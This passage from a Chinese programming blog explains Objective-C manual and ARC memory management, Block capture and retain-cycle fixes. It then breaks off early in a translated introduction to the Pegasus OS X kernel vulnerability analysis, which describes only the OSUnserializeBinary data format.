<p>对象的计数器，用来表示当前有多少个事物想令此对象继续存活下去。</p>
<h2 id="对象的内存管理"><a href="#对象的内存管理" class="headerlink" title="对象的内存管理"></a>对象的内存管理</h2><h3 id="简单内存管理示例"><a href="#简单内存管理示例" class="headerlink" title="简单内存管理示例"></a>简单内存管理示例</h3><p>　　简单的手动内存管理：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">// ARC 无效</span></div><div class="line"><span class="keyword">id</span> obj = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line"><span class="comment">//obj变量持有NSObject对象，该对象的引用计数=1</span></div><div class="line"></div><div class="line">[obj <span class="keyword">retain</span>];</div><div class="line"><span class="comment">//NSObject对象的引用计数+1 = 2</span></div><div class="line"></div><div class="line">[obj release];</div><div class="line"><span class="comment">//NSObject对象的引用计数-1 = 1</span></div><div class="line"></div><div class="line"><span class="built_in">NSAutoreleasePool</span> *pool = [[<span class="built_in">NSAutoreleasePool</span> alloc] init];</div><div class="line"><span class="comment">//创建自动释放池</span></div><div class="line"></div><div class="line">[obj autorelease];</div><div class="line"><span class="comment">//NSObject对象加入自动释放池，引用计数+1 = 2</span></div><div class="line"></div><div class="line">[pool drain];</div><div class="line"><span class="comment">//自动释放池释放，对池中的所有对象发送 release 消息，因此NSObject对象引用计数-1 = 1</span></div><div class="line"></div><div class="line">[obj release];</div><div class="line"><span class="comment">//NSObject对象的引用计数-1 = 0</span></div><div class="line"><span class="comment">//自动调用 dealloc 方法，废弃对象</span></div></pre></td></tr></tbody></table>

<p>　　对应的 ARC 自动管理：  </p>
<p>　　因为开启 ARC 后，编译器会自动对 OC 对象进行内存管理，所以，ARC 有效时，不能调用 retain /release /autorelease /dealloc /retainCount 方法，其中，dealloc 方法可以覆写，但依然不能显示调用。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//启用 ARC</span></div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line">    <span class="comment">//obj变量持有NSObject对象，该对象的引用计数=1</span></div><div class="line"></div><div class="line">    <span class="keyword">@autoreleasepool</span> {</div><div class="line">        <span class="keyword">id</span> __autoreleasing obj2 = obj;</div><div class="line">        <span class="comment">//obj变量将NSObject对象赋给带有__autoreleasing关键字的obj2变量，相当于[obj autorelease]；</span></div><div class="line">        <span class="comment">//NSObject对象加入自动释放池，引用计数+1 = 2</span></div><div class="line"></div><div class="line">    } <span class="comment">//自动释放池释放，对池中的所有对象发送 release 消息，因此NSObject对象引用计数-1 = 1</span></div><div class="line"></div><div class="line">}</div><div class="line"><span class="comment">//NSObject对象的持有者obj变量超出其作用域，引用失效</span></div><div class="line"><span class="comment">//因此，NSObject对象的引用计数-1 = 0</span></div><div class="line"><span class="comment">//自动调用 dealloc 方法，废弃对象</span></div></pre></td></tr></tbody></table>

<h3 id="ARC-对象所有权修饰符"><a href="#ARC-对象所有权修饰符" class="headerlink" title="ARC 对象所有权修饰符"></a>ARC 对象所有权修饰符</h3><ul>
<li>__strong： 默认修饰符，表示对对象的“强引用”，该修饰符修饰的变量在超出其作用域时被废弃，随着强引用的失效，自动 release 自己所持有的对象；</li>
<li>__weak： 弱引用。不持有对象，若该对象被废弃，则弱引用变量将自动赋值为 nil；</li>
<li>__unsafe_unretained： 同 __weak 一样不持有对象，但对象废弃时，不会自动为 nil，容易出现悬挂指针；</li>
<li>__autoreleasing： 相当于调用 autorelease 方法，即对象被注册到 autorelease pool 中。</li>
</ul>
<p><strong>什么叫做持有对象？</strong>  </p>
<p>　　我们知道 OC 对象的变量类型其实是指针变量，这些指针存储在栈上，指针指向的对象存储在堆中。  </p>
<p>  指针 X1 指向对象 A，并使得对象 A 的引用计数+1，则我们说指针变量 X1 持有对象 A，或者 X1 持有该对象的强引用。  </p>
<p>  指针 X2 虽然指向对象 A，但是对对象 A 的引用计数没有任何影响，即 X2 不指向对象 A，对象 A 的引用计数也不会减1；X2 指向对象 A，对象 A 的引用计数也不会加1，则我们说指针变量 X2 不持有对象 A。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//启用 ARC</span></div><div class="line"><span class="keyword">id</span> __<span class="keyword">weak</span> obj_weak = <span class="literal">nil</span>;</div><div class="line"><span class="keyword">id</span> __<span class="keyword">unsafe_unretained</span> obj_unsafe;</div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj0 = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line">    <span class="comment">//obj变量默认加了__strong修饰符，所以是强引用，持有NSObject对象，该对象的引用计数+1 =1</span></div><div class="line">    </div><div class="line">    obj_weak = obj0;</div><div class="line">    <span class="comment">//obj1持有NSObject对象的弱引用，对引用计数无影响</span></div><div class="line"></div><div class="line">    obj_unsafe = obj0;</div><div class="line">    <span class="comment">//obj_unsafe不持有NSObject对象，对引用计数无影响</span></div><div class="line"></div><div class="line">    <span class="keyword">id</span> obj_strong = obj0;</div><div class="line">    <span class="comment">//obj3变量默认加了__strong修饰符，是强引用，NSObject对象的引用计数+1 = 2</span></div><div class="line"></div><div class="line">    <span class="keyword">@autoreleasepool</span> {</div><div class="line">        <span class="keyword">id</span> __autoreleasing obj_auto = obj0;</div><div class="line">        <span class="comment">//obj变量将NSObject对象赋给带有__autoreleasing关键字的obj_auto变量，相当于[obj autorelease]；</span></div><div class="line">        <span class="comment">//obj_auto暂时持有NSObject对象，稍后释放；</span></div><div class="line">        <span class="comment">//NSObject对象被暂时持有，加入自动释放池，引用计数+1 = 3</span></div><div class="line"></div><div class="line">    } <span class="comment">//自动释放池释放，obj_auto变量超出其作用域，持有对象失效，</span></div><div class="line">      <span class="comment">//也就是自动释放池取消obj_auto变量对对象的暂时持有权，</span></div><div class="line">      <span class="comment">//相当于对池中的NSObject对象发送 release 消息，因此对象引用计数-1 = 2</span></div><div class="line"></div><div class="line">}</div><div class="line"><span class="comment">//NSObject对象的持有者obj0变量超出其作用域，强引用失效，释放自己所持有的对象，NSObject对象的引用计数-1 = 1；</span></div><div class="line"><span class="comment">//持有者obj_storng变量超出作用域，强引用失效，释放自己所持有的对象，对象的引用计数-1 = 0；</span></div><div class="line"><span class="comment">//NSObject对象无持有者（即引用计数为0），自动调用 dealloc 方法，废弃对象；</span></div><div class="line"><span class="comment">//该对象的弱引用变量obj_weak失效，自动赋值为nil;</span></div><div class="line"><span class="comment">//obj_unsafe变量表示的对象已被废弃，变为悬挂指针。</span></div></pre></td></tr></tbody></table>



<p><strong>修饰符番外</strong><br>　　id 的指针或对象的指针会默认加上 __autoreleasing 修饰符，如<code>NSError **error</code>，实际上为<code>NSError *__autoreleasing* error</code>。</p>
<p>  对象被废弃时，含有 __weak 修饰符的变量将会有以下动作：<br>1) 从 weak 表中获取以废弃对象的地址为键值的记录；<br>2) 将包含在记录中的所有 __weak 修饰符变量的地址，赋值为 nil；<br>3) 从 weak 表中删除记录；<br>4) 从引用计数表中删除以被废弃对象的地址为键值的记录。</p>
<p>　　也就是说含有 __weak 修饰符的变量所指的对象被废弃时，会比其他修饰符多执行前3步，如果大量使用 weak 修饰符，则会消耗相应的 CPU 资源，因此<strong>最好是在需要避免循环引用的时候才使用 __weak 修饰符。</strong></p>
<p>在访问有 __weak 修饰符的变量时，其实会访问注册到 autorelease pool 的对象。</p>
<figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    id __weak obj1 = obj;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//实际上为：</span></span><br><span class="line">id obj1;</span><br><span class="line">objc<span class="constructor">_initWeak(&amp;<span class="params">obj1</span>, <span class="params">obj</span>)</span>;</span><br><span class="line">objc<span class="constructor">_destroyWeak(&amp;<span class="params">obj1</span>)</span>;</span><br></pre></td></tr></table></figure>

<figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    id __weak obj2 = obj;</span><br><span class="line">    <span class="constructor">NSLog(@<span class="string">&quot;%@&quot;</span>, <span class="params">obj2</span>)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//实际上为：</span></span><br><span class="line">id obj2;</span><br><span class="line">objc<span class="constructor">_initWeak(&amp;<span class="params">obj2</span>, <span class="params">obj</span>)</span>;</span><br><span class="line"></span><br><span class="line">id tmp = objc<span class="constructor">_loadWeakRetained(&amp;<span class="params">obj2</span>)</span>;</span><br><span class="line">objc<span class="constructor">_autorelease(<span class="params">tmp</span>)</span>;</span><br><span class="line"></span><br><span class="line"><span class="constructor">NSLog(@<span class="string">&quot;%@&quot;</span>, <span class="params">tmp</span>)</span>;</span><br><span class="line"></span><br><span class="line">objc<span class="constructor">_destroyWeak(&amp;<span class="params">obj2</span>)</span>;</span><br></pre></td></tr></table></figure>

<p>　　在 @autoreleasepool 块结束之前，使用多少次 weak 变量，就会注册到 autorelease pool 中多少次，所以在使用 __weak 修饰符的变量时，最好赋值给 __strong 修饰符的变量后使用。</p>
<blockquote>
<p>可通过 <code>_objc_autoreleasePoolPrint()</code> 函数打印出注册到 autorelease pool 中的对象。</p>
</blockquote>
<h2 id="方法的内存管理"><a href="#方法的内存管理" class="headerlink" title="方法的内存管理"></a>方法的内存管理</h2><p>方法命名规则：</p>
<ul>
<li>alloc/new/copy/mutableCopy 使用这些名称开头的方法，意味着生成的对象自己持有；</li>
<li>以上名称之外的其他方法取得的对象，自己不持有。</li>
</ul>
<p>注：以 <code>init</code> 开始的方法必须是实例方法，且必须要返回对象，该返回对象不注册到 autorelease pool 上，基本上只是对 alloc 方法返回值的对象进行初始化处理并返回该对象。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">// ARC 无效</span></div><div class="line">- (<span class="keyword">id</span>)allocObject</div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line">    <span class="keyword">return</span> obj;</div><div class="line">}</div><div class="line"></div><div class="line">- (<span class="keyword">id</span>)object</div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line">    [obj autorelease];</div><div class="line">    <span class="keyword">return</span> obj;</div><div class="line">}</div><div class="line"></div><div class="line"></div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj1 = [obj0 allocObject];</div><div class="line">    <span class="comment">//alloc开头的方法返回自己生成并持有的对象，</span></div><div class="line">    <span class="comment">//即obj变量持有NSObject对象，该对象的引用计数至少=1</span></div><div class="line"></div><div class="line"></div><div class="line">    <span class="keyword">id</span> obj2 = [obj0 object];</div><div class="line">    <span class="comment">//取得对象存在，但obj2变量不持有NSObject对象，</span></div><div class="line">    <span class="comment">//该对象的引用计数无变化</span></div><div class="line"></div><div class="line">    [obj2 <span class="keyword">retain</span>];</div><div class="line">    <span class="comment">//使得obj2持有对象，对象的引用计数+1</span></div><div class="line">}</div><div class="line"></div><div class="line"><span class="comment">//启用ARC</span></div><div class="line">- (<span class="keyword">id</span>)object</div><div class="line">{</div><div class="line">    <span class="keyword">id</span> obj = [[<span class="built_in">NSObject</span> alloc] init];</div><div class="line">    <span class="keyword">return</span> obj；</div><div class="line">    <span class="comment">//因为return使得变量obj超出作用域，所以强引用失效，自己持有的对象会被释放，</span></div><div class="line">    <span class="comment">//但是因为该对象是作为方法的返回值，所以ARC会自动将其注册到autorelease pool</span></div><div class="line">}</div></pre></td></tr></tbody></table>

<p>　　也就是说<strong>对于非自己持有的方法，比如 [NSMutableArray array] 方法，在其方法内部，自动为返回值添加了 autorelease，我们可以使用这个返回值，但并不持有返回值所指的对象。</strong>在其对应的 autorelease pool 释放时（在主线程中，就是 RunLoop 循环一次之后），返回值所指的对象即被释放，如果没有对返回值执行 retain 操作，则对象没有持有者，自动调用 dealloc 方法，被废弃。</p>
<p>　　我们常说，ARC 有效时，编译器会自动插入 retain/release/autorelease 方法。但实际上，<strong>ARC 在调用这些方法时，并不是通过普通的 OC 消息派发机制，而是直接调用底层 C 语言版本</strong>，比如 ARC 会调用与 retain 等价的底层函数 objc_retain。这样做更能优化性能，也是不能覆写 retain、release、autorelease 方法的原因，因为这些方法不会被直接调用。</p>
<p>　　ARC 的优化还体现在很多方面，如使用非自己持有的方法，我们可以看到，在方法内部的返回对象调用 autorelease，与方法返回后，在调用方对返回对象 retain，两个操作实际上是可以抵消的，ARC 会自动做这方面的优化。以 [NSMutableArray array] 为例：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ARC 代码</span></span><br><span class="line"></span><br><span class="line">+ (id)<span class="built_in">array</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">return</span> [[NSMutableArray alloc] init];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//编译器的模拟代码</span></span><br><span class="line"></span><br><span class="line">+ (id)<span class="built_in">array</span></span><br><span class="line">  &#123;</span><br><span class="line">    id obj = objc_msgSend(NSMutableArray, @selector(alloc));</span><br><span class="line">    objc_msgSen(obj, @selector(init));</span><br><span class="line">    <span class="keyword">return</span> objc_autoreleaseReturnValue(obj);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ARC 代码</span></span><br><span class="line">&#123;</span><br><span class="line">    id obj = [NSMutableArray <span class="built_in">array</span>];</span><br><span class="line">    <span class="comment">//obj默认为 __strong 修饰符变量，相当于[返回对象 retain]</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//编译器的模拟代码</span></span><br><span class="line">id obj = objc_msgSend(NSMutableArray, @selector(<span class="built_in">array</span>));</span><br><span class="line"></span><br><span class="line">objc_retainAutoreleasedReturnValue(obj);</span><br><span class="line"></span><br><span class="line">objc_release(obj);</span><br></pre></td></tr></table></figure>

<p>　　<code>objc_autoreleaseReturnValue</code> 函数会检查使用该函数的方法，或函数调用方的执行命令列表，如果方法的调用方在调用了该方法后，紧接着调用了 <code>objc_retainAutoreleasedReturnValue()</code> 函数，那么就不将返回的对象注册到 autorelease pool 中，而是直接传递到方法的调用方。</p>
<h2 id="Block-的内存管理"><a href="#Block-的内存管理" class="headerlink" title="Block 的内存管理"></a>Block 的内存管理</h2><p>Block 的内存管理主要涉及到循环引用的问题。</p>
<p>Block 的创建一般是在栈上，但以下情况会被复制到堆上：<br>1) 调用 Block 的 copy 方法时；<br>2) Block 作为函数返回值时；<br>3) 将 Block 赋值给 __strong 修饰符的 id 类型或 Block 类型的成员变量时；<br>4) 在方法名中含有 usingBlock 的 Cocoa 框架方法或 GCD 的 API 中传递 Block 时。</p>
<p>我们知道 Block 会在声明时截获在 Block 内部将会用到的变量，如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">int</span> main()</div><div class="line">{</div><div class="line">    <span class="keyword">int</span> val = <span class="number">10</span>;</div><div class="line">    <span class="keyword">void</span> (^blk) (<span class="keyword">void</span>) = ^{printf(val);};</div><div class="line">    val = <span class="number">20</span>;</div><div class="line">    blk();</div><div class="line"><span class="comment">//输出结果：10</span></div><div class="line">}</div></pre></td></tr></tbody></table>

<h3 id="strong-变量"><a href="#strong-变量" class="headerlink" title="__strong 变量"></a>__strong 变量</h3><p>　　对于 OC 对象而言，当 Block 从栈上被复制到堆上时，会对将要用到的带有 __strong 修饰符的变量执行 retain 操作，也就是 Block 会持有这个变量所指向的对象。如：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//开启 ARC</span></div><div class="line"><span class="keyword">typedef</span> <span class="keyword">void</span> (^blk_t)(<span class="keyword">id</span>);</div><div class="line">blk_t blk;</div><div class="line">{</div><div class="line">    <span class="keyword">id</span> array = [[<span class="built_in">NSMutableArray</span> alloc] init];</div><div class="line">    blk = ^(<span class="keyword">id</span> obj) {</div><div class="line">        [array addObject:obj];</div><div class="line">        <span class="built_in">NSLog</span>(<span class="string">@"count = %ld"</span>, [array count]);</div><div class="line">    }</div><div class="line">}<span class="comment">//array超出作用域，变量被废弃，</span></div><div class="line"> <span class="comment">//但blk持有array所指向的对象，所以对象不会被废弃</span></div><div class="line"></div><div class="line">blk([[<span class="built_in">NSObject</span> alloc] init]);</div><div class="line">blk([[<span class="built_in">NSObject</span> alloc] init]);</div><div class="line"></div><div class="line"><span class="comment">//输出： count = 1</span></div><div class="line"><span class="comment">//      count = 2</span></div><div class="line">}</div></pre></td></tr></tbody></table>



<ul>
<li>开启 ARC 时，对于修饰符为 __strong 且捕获了外部变量（无论是否是 OC 对象）的 Block，会自动进行 copy 操作，将 Block 从栈上复制到堆上，由 NSStackBlock 转换为 NSMallocBlock。</li>
<li>修饰符为 __strong 但未捕获外部变量的 Block，或者通过声明全局变量来声明 Block，都会自动创建为 NSGlobalBlock 类型。</li>
<li>无法手动创建堆上的 Block，即 NSMallocBlock。</li>
</ul>
<p>　　上述代码中 array 变量超出了作用域因此被废弃，但是 blk 调用的时候仍可以使用 array 是为什么呢？<br>　　是因为 Block 在进行 copy 操作的时候，会在自身结构体中添加一个同类型的 __strong 修饰符的 array 变量，所以访问的并不是之前我们所定义的 <code>id array</code>，而是 <code>block-&gt;array</code>。</p>
<h3 id="block-变量"><a href="#block-变量" class="headerlink" title="__block 变量"></a>__block 变量</h3><p>　　__block 修饰符的变量可以在 Block 中更改变量，Block 在捕获变量时，会对有该修饰符的变量生成 __Block_byref_val 结构体。</p>
<figure class="highlight sqf"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="variable">__block</span> val =<span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在 Block 中存储为结构体</span></span><br><span class="line"><span class="variable">__Block_byref_val_0</span> val = &#123;</span><br><span class="line">    void *<span class="variable">__isa</span>;</span><br><span class="line">    <span class="variable">__Block_byref_val_0</span> *<span class="variable">__forwarding</span>;  <span class="comment">//= &amp;val</span></span><br><span class="line">    int <span class="variable">__flags</span>;</span><br><span class="line">    int <span class="variable">__size</span>; <span class="comment">//=sizeof(__Block_byref_val_0)</span></span><br><span class="line">    int val; <span class="comment">//=10</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>　　__Block_byref_val 结构体的成员变量 __forwarding 是指向该结构体实例自身的指针。Block 在访问__block 修饰的变量时，是通过这个指针来的：<br>　　<code>block \-&gt;val(block结构体中的成员变量)-&gt;__forwarding-&gt;val</code>。<br>当 Block 从栈复制到堆上是，该变量也会复制到堆上，栈上的原来指向自身的 __forwarding 指针会改变为指向堆上的 __block 变量。</p>
<p>　　因此 __block 修饰的变量在 ARC 和非 ARC 中是有差别的。</p>
<p>　　ARC 有效时，__block 变量除了可以在 Block 内部修改之外，无其他用处，是否 retain 取决于变量的 ARC 修饰符（__strong 持有、__weak 不持有等）。那么由于可修改，因此<strong>可以在 Block 内部对造成循环引用的变量赋值为 nil，释放掉自身的对象持有权，从而打破循环。</strong></p>
<p>　　ARC 无效时，在 [block copy] 之后，没有__block 修饰符的变量对象会被自动后台 retain，从而被 Block 持有；而有__block 修饰符的变量反而不会被 retain，不会被 Block 持有。因此<strong>对变量添加 __block 修饰符可以在非 ARC 情况下打破循环引用。</strong></p>
<h3 id="循环引用"><a href="#循环引用" class="headerlink" title="循环引用"></a>循环引用</h3><p>既然 Block 也会持有对象，那么就很容易出现不易发现的循环引用问题了。如下：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//开启 ARC</span></div><div class="line">- (<span class="keyword">void</span>)loadView </div><div class="line">{ </div><div class="line"></div><div class="line"> [<span class="keyword">super</span> loadView]; </div><div class="line"></div><div class="line"> _observer = [[<span class="built_in">NSNotificationCenter</span> defaultCenter] addObserverForName:<span class="string">@"testKey"</span> </div><div class="line"> object:<span class="literal">nil</span> </div><div class="line"> queue:<span class="literal">nil</span> </div><div class="line"> usingBlock:^(<span class="built_in">NSNotification</span> *note) { </div><div class="line"> [<span class="keyword">self</span> dismissModalViewControllerAnimated:<span class="literal">YES</span>]; </div><div class="line"> }]; </div><div class="line">}</div></pre></td></tr></tbody></table>

<p>正如之前所提到的 Blcok 被复制到堆上的情况，<code>在使用方法名中含有 usingBlock 的 Cocoa 框架方法</code>时会被自动 copy 到堆上，从而对捕获到的 <code>__strong 变量</code> 执行 retain 操作，Block 持有该变量。</p>
<p>  在本例中，<strong>self 的成员变量 _observer</strong> 会 <code>copy 一份 Block</code>，从而持有 Block，而 Block 中用到了默认为 <code>__strong 修饰符的 self变量</code> ，从而持有 self，self 类本身又持有 <code>成员变量 _observer</code>，从而导致循环引用，使得谁都无法被最终释放，导致内存泄漏。</p>
<p>所以，要打破这种循环引用，需要使得 [block copy] 时不会 retain 捕获到的 self 变量。</p>
<blockquote>
<p>注意：函数的闭包和 block 如果没有引用任何实例或类变量，其本身也不会造成循环引用，另外在 GCD 中，一般不会造成循环引用。这个例子之所以会造成循环引用，是因为 _observer 是 self 的成员变量。</p>
</blockquote>
<h4 id="方法一：-在-ARC-中使用不持有对象的-weak-或-unsafe-unretain-修饰符"><a href="#方法一：-在-ARC-中使用不持有对象的-weak-或-unsafe-unretain-修饰符" class="headerlink" title="方法一： 在 ARC 中使用不持有对象的 __weak 或 __unsafe_unretain 修饰符"></a>方法一： 在 ARC 中使用不持有对象的 <code>__weak</code> 或 <code>__unsafe_unretain</code> 修饰符</h4><table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//开启 ARC</span></div><div class="line">- (<span class="keyword">void</span>)loadView </div><div class="line">{ </div><div class="line"> [<span class="keyword">super</span> loadView];</div><div class="line"> </div><div class="line"> __<span class="keyword">weak</span> TestViewController *wself = <span class="keyword">self</span>; </div><div class="line"></div><div class="line"> _observer = [[<span class="built_in">NSNotificationCenter</span> defaultCenter] addObserverForName:<span class="string">@"testKey"</span> </div><div class="line"> object:<span class="literal">nil</span> </div><div class="line"> queue:<span class="literal">nil</span> </div><div class="line"> usingBlock:^(<span class="built_in">NSNotification</span> *note) { </div><div class="line"></div><div class="line"> __<span class="keyword">strong</span> TestViewController *sself = wself;</div><div class="line"> </div><div class="line"> [sself dismissModalViewControllerAnimated:<span class="literal">YES</span>]; </div><div class="line"> }]; </div><div class="line">}</div></pre></td></tr></tbody></table>

<p>  对于拥有 __weak 修饰符的 wself 变量，Block 复制时，不会对该变量指向的对象进行 retain，从而不持有该对象，对该对象的引用计数无影响。在 Block 内部又通过 __strong 修饰符的 sself 变量来持有对象，是为了避免在 Block 执行过程中，该对象被其他地方释放，从而造成访问错误。这实际上是一种延迟 self 的 retain 操作，使得它不在 Block 被 copy 的时候 retain，而是在执行的时候 retain。</p>
<p>  因为如果在最初 copy 的时候 retain，那么只有等 Block 被废弃时，该变量才会被废弃，从而释放对对象 X 的持有权。但是由于循环引用，该变量始终直接或间接的持有 block 对象，所以 Block 永远不会被废弃，进而也不会释放对象 X 的持有权，从而造成这两块内存永远不会被回收，即内存泄漏。</p>
<p>  而在执行的时候 retain，ARC会对 Block 的执行作用域的变量自动进行内存管理，执行完毕后即释放，不会等到 Block 被废弃时才能被释放，因此打破了循环引用。</p>
<h4 id="方法二：在-ARC-中使用-block-修饰符，并在-Block-中为其赋值为-nil"><a href="#方法二：在-ARC-中使用-block-修饰符，并在-Block-中为其赋值为-nil" class="headerlink" title="方法二：在 ARC 中使用 __block 修饰符，并在 Block 中为其赋值为 nil"></a>方法二：在 ARC 中使用 <code>__block 修饰符，并在 Block 中为其赋值为 nil</code></h4><table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//开启 ARC</span></div><div class="line">- (<span class="keyword">void</span>)loadView </div><div class="line">{ </div><div class="line"> [<span class="keyword">super</span> loadView];</div><div class="line"> </div><div class="line"> __blok TestViewController *wself = <span class="keyword">self</span>; </div><div class="line"></div><div class="line"> _observer = [[<span class="built_in">NSNotificationCenter</span> defaultCenter] addObserverForName:<span class="string">@"testKey"</span> </div><div class="line"> object:<span class="literal">nil</span> </div><div class="line"> queue:<span class="literal">nil</span> </div><div class="line"> usingBlock:^(<span class="built_in">NSNotification</span> *note) {</div><div class="line"> [wself dismissModalViewControllerAnimated:<span class="literal">YES</span>]; </div><div class="line"> }]; </div><div class="line"></div><div class="line"> wself = <span class="literal">nil</span>;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>由于在 Block 执行时释放了对 self 所指向的对象的持有权，因此 Block 执行后即打破循环引用，同样不会等到 Block 被废弃时才能释放对象的持有权，因此没有内存泄漏。</p>
<p>  这种方法的缺点是，一定要确保 Block 会执行。如果有多种分支，而某一条分支中的 Block 不会执行，那么这条分支同样会造成内存泄漏。</p>
<h4 id="方法三：在非-ARC-中使用-block-修饰符"><a href="#方法三：在非-ARC-中使用-block-修饰符" class="headerlink" title="方法三：在非 ARC 中使用 __block 修饰符"></a>方法三：在非 ARC 中使用 <code>__block 修饰符</code></h4><table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">// ARC 无效</span></div><div class="line">- (<span class="keyword">void</span>)loadView </div><div class="line">{ </div><div class="line"> [<span class="keyword">super</span> loadView];</div><div class="line"> </div><div class="line"> __block TestViewController *wself = <span class="keyword">self</span>; </div><div class="line"></div><div class="line"> _observer = [[<span class="built_in">NSNotificationCenter</span> defaultCenter] addObserverForName:<span class="string">@"testKey"</span> </div><div class="line"> object:<span class="literal">nil</span> </div><div class="line"> queue:<span class="literal">nil</span> </div><div class="line"> usingBlock:^(<span class="built_in">NSNotification</span> *note) {</div><div class="line"> [wself dismissModalViewControllerAnimated:<span class="literal">YES</span>]; </div><div class="line"> }]; </div><div class="line">}</div></pre></td></tr></tbody></table>

<p>由于在非 ARC 中，Block 不持有 __block 修饰符修饰的对象，因此也不会造成循环引用。</p>
<p>注1：在使用委托 delegate 时，属性要用 weak 关键字也是为了避免循环引用。<br>注2：在异常 <code>NSException</code> 处理过程中，也容易遗忘对象释放，从而造成内存泄漏，一般须在 <code>@finally</code> 中将未释放的资源释放掉。当然如果该异常直接造成程序崩溃，也就无所谓释放不释放了。</p>
<p>以上即是 ARC 与非 ARC 的内存管理区别，以及 ARC 是如何将手动管理转换为自动管理的。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] 《Objective-C 高级编程 - iOS 与 OS X 多线程和内存管理》<br>[2] 《Effective Objective-C 2.0》<br>[3] Objective-C中block实现和技巧学习　<a href="http://www.tuicool.com/articles/aQFV7bv">http://www.tuicool.com/articles/aQFV7bv</a></p>
]]></content>
      <categories>
        <category>编程语言语法</category>
      </categories>
  </entry>
  <entry>
    <title>（译）Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)</title>
    <url>/7e77e3d1.html</url>
    <content><![CDATA[<blockquote>
<p>翻译自 jndok’s blog   原文链接：<a href="http://jndok.github.io/2016/10/04/pegasus-writeup/">http://jndok.github.io/2016/10/04/pegasus-writeup/</a></p>
</blockquote>
<h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>大家好，在这篇博文中，我决定讲述一些原理，是关于两个在 <a href="https://www.lookout.com/trident-pegasus-enterprise-discovery">Pegasusu spyware</a> 中提到的 OS X/iOS 的内核漏洞的，影响至 OS X 10.11.6 以及 iOS 9.3.4 版本。我尝试对这些漏洞以及它们的利用程序进行深入的分析。</p>
<p>由于这是我写下的第一篇博客，因此有什么错误或粗糙的地方，还请你多一点耐心，如果你发现任何错误或者困扰的地方，请发邮件给我 <code>me@jndok.net</code> ，我将会尽力帮助你。</p>
<p>最后一点需要注意的地方就是：我们只将着重讲述 OS X 内核。这是由于在 iOS 上采取的安全措施，使得在 iOS 的环境中来利用这两个漏洞实在是要困难得多。另外，这篇博文也针对初学者，我们将尽量使讲述直接明了。</p>
<a id="more"></a>

<p>以下是本文的结构：</p>
<ul>
<li>介绍（Introduction）</li>
<li>OSUnserializeBinary 概览 —— OSUnserializeBinary 的细节、数据格式以及具体如何运行。 （Overview of OSUnserializeBinary）</li>
<li>漏洞分析 —— 两个漏洞的具体分析 （Bugs analysis）</li>
<li>利用程序 —— 非常有趣的部分！ （Exploitation）</li>
<li>总结（Conclusion）</li>
</ul>
<h2 id="OSUnserializeBinary-概览"><a href="#OSUnserializeBinary-概览" class="headerlink" title="OSUnserializeBinary 概览"></a>OSUnserializeBinary 概览</h2><p>XNU 内核实现了自己的一套规则，叫做 <code>OSUnserializeXML</code>，是用来对被存入内核的 XML 格式的数据进行反序列化。<br>最近，<code>OSUnserializeBinary</code> 作为新的函数加入了它。这个函数的用途跟 XML 是差不多的，但是处理的格式并不相同。OSUnserializeBinary 将二进制格式转换为基本内核数据对象。这种二进制格式虽然没有文档描述，但是非常简单。在分析函数的代码之前，我们先讲解一下这种格式。</p>
<h3 id="OSUnserializeBinary-的二进制格式"><a href="#OSUnserializeBinary-的二进制格式" class="headerlink" title="OSUnserializeBinary 的二进制格式"></a>OSUnserializeBinary 的二进制格式</h3><p>OSUnserializeBinary 处理的二进制数据是简单的连续的 uint32_t（32位）数据流。成员为32位的数组可能更能体现这种描述。仅仅只是一个接一个的一串数据，每个整数都描述了一些信息。<br>有效数据流的首个整数要求是一个唯一的签名（0x000000d3）。然后每个其他的整数值都使用其中的一些位来描述数据类型，数据大小。当然也可以表示数据。</p>
